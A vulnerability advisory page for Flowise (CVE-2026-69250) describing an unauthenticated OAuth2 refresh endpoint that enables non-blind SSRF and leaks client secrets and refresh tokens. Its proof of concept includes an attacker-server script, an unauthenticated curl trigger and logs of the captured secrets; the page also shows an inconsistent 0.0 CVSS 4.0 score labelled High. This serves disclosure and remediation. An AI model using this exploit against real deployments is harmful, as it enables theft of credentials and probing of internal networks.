Skip to content

GHSA-r745-8hwv-h473 CVE-2026-69250

Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration

High npm
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.57%
Chance of exploitation in the next 30 days. Higher than 47.35% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-639 Authorization Bypass Through User-Controlled Key
Fix
3.1.3
Upgrade flowise to this version or later

Description

Summary

The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (accessTokenUrl) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (tokenInfo), confirming non-blind SSRF and credential secret exfiltration.

Details

The vulnerability is in dist/routes/oauth2/index.js (container runtime build), under path prefix /api/v1/oauth2-credential.

Confirmed in runtime code:

  1. Unauthenticated route via whitelist

    • dist/utils/constants.js includes:
      • /api/v1/oauth2-credential/callback
      • /api/v1/oauth2-credential/refresh
    • dist/index.js auth middleware uses:
      • const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))
    • Therefore /api/v1/oauth2-credential/refresh/:credentialId is treated as whitelisted.
  2. User-controlled SSRF target

    • In refresh handler (dist/routes/oauth2/index.js):
      • loads credential by credentialId
      • decrypts credential data
      • reads accessTokenUrl
      • executes:
        • axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)
    • No secureAxiosRequest() / denylist wrapper is used in this path.
  3. Non-blind response reflection

    • Response returns:
      • tokenInfo: { ...tokenData, ... }
    • tokenData is the attacker/internal server response body.
  4. Secrets sent to SSRF target

    • Request body includes:
      • client_id
      • client_secret
      • grant_type=refresh_token
      • refresh_token

PoC

Environment used

  • flowiseai/flowise:latest container (localhost:3000)
  • Attacker server (localhost:18081) returning JSON

Step 1: Start attacker server

python3 -u - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json

class H(BaseHTTPRequestHandler):
    def do_POST(self):
        l = int(self.headers.get('Content-Length','0'))
        b = self.rfile.read(l).decode('utf-8', errors='replace')
        print('REQUEST_PATH', self.path, flush=True)
        print('REQUEST_BODY', b, flush=True)
        self.send_response(200)
        self.send_header('Content-Type','application/json')
        self.end_headers()
        self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode())
    def log_message(self, fmt, *args):
        pass

HTTPServer(('0.0.0.0', 18081), H).serve_forever()
PY

Step 2: Create OAuth2 credential with attacker accessTokenUrl (authenticated action)

In validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.

Resulting credential ID used in runtime validation:

  • 24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef

Step 3: Trigger refresh without auth

curl -i -X POST \
  http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \
  -H 'Content-Type: application/json' \
  -d '{}'

Observed response:

{
  "success": true,
  "message": "OAuth2 token refreshed successfully",
  "credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef",
  "tokenInfo": {
    "ok": true,
    "source": "attacker-server",
    "echo_len": 76,
    "has_new_refresh_token": false
  }
}

Attacker server logs captured:

REQUEST_PATH /token
REQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2

This confirms:

  • unauthenticated trigger,
  • server-side POST to attacker-controlled URL,
  • exfiltration of OAuth2 secrets in POST body,
  • full response reflection to client (tokenInfo).

Impact

  • Vulnerability class: Non-blind SSRF + sensitive secret exfiltration.
  • Who can set up attack: Any authenticated user who can create/update OAuth2 credentials.
  • Who can trigger attack: Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted).
  • Technical impact:
    • outbound SSRF to attacker/internal targets,
    • direct leak of client_secret and refresh_token to SSRF target,
    • direct response read from target via API response (tokenInfo).
  • Deployment impact:
    • cloud/internal network reachability can expose metadata/internal services depending on egress controls.

Affected versions

npm

PackageVulnerableFixed in
flowise
< 3.1.3
3.1.3

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

flowise npm → 3.1.3

npm
npm install flowise@3.1.3
yarn
yarn add flowise@3.1.3
pnpm
pnpm add flowise@3.1.3

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
High
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-639: Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

How to prevent it
  • Architecture and Design: For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
  • Architecture and Design, Implementation: Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
  • Architecture and Design: Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-w7x8-q2gp-5cgg
Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
Critical Also affects flowise
GHSA-9gvv-qjj3-2p6g
Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium
High Also affects flowise
GHSA-qgvm-j2hm-6m38
Flowise: Unauthenticated OAuth2 token refresh endpoint returns access tokens — enables token theft for any connected service
Critical Also affects flowise
GHSA-5xvg-pmgg-3mxr
Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability
Critical Also affects flowise
GHSA-gmmw-qg98-6j6p
Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation
High Also affects flowise
GHSA-8gj2-2cvc-6xx7
Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials
Medium Also affects flowise
GHSA-fm2f-4339-4p2f
Flowise: Missing Authorization on Execution Update Endpoint
Medium Also affects flowise
GHSA-wch5-xp77-fxg4
Flowise: Cross-Workspace OAuth2 Credential Metadata Leak
High Also affects flowise
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor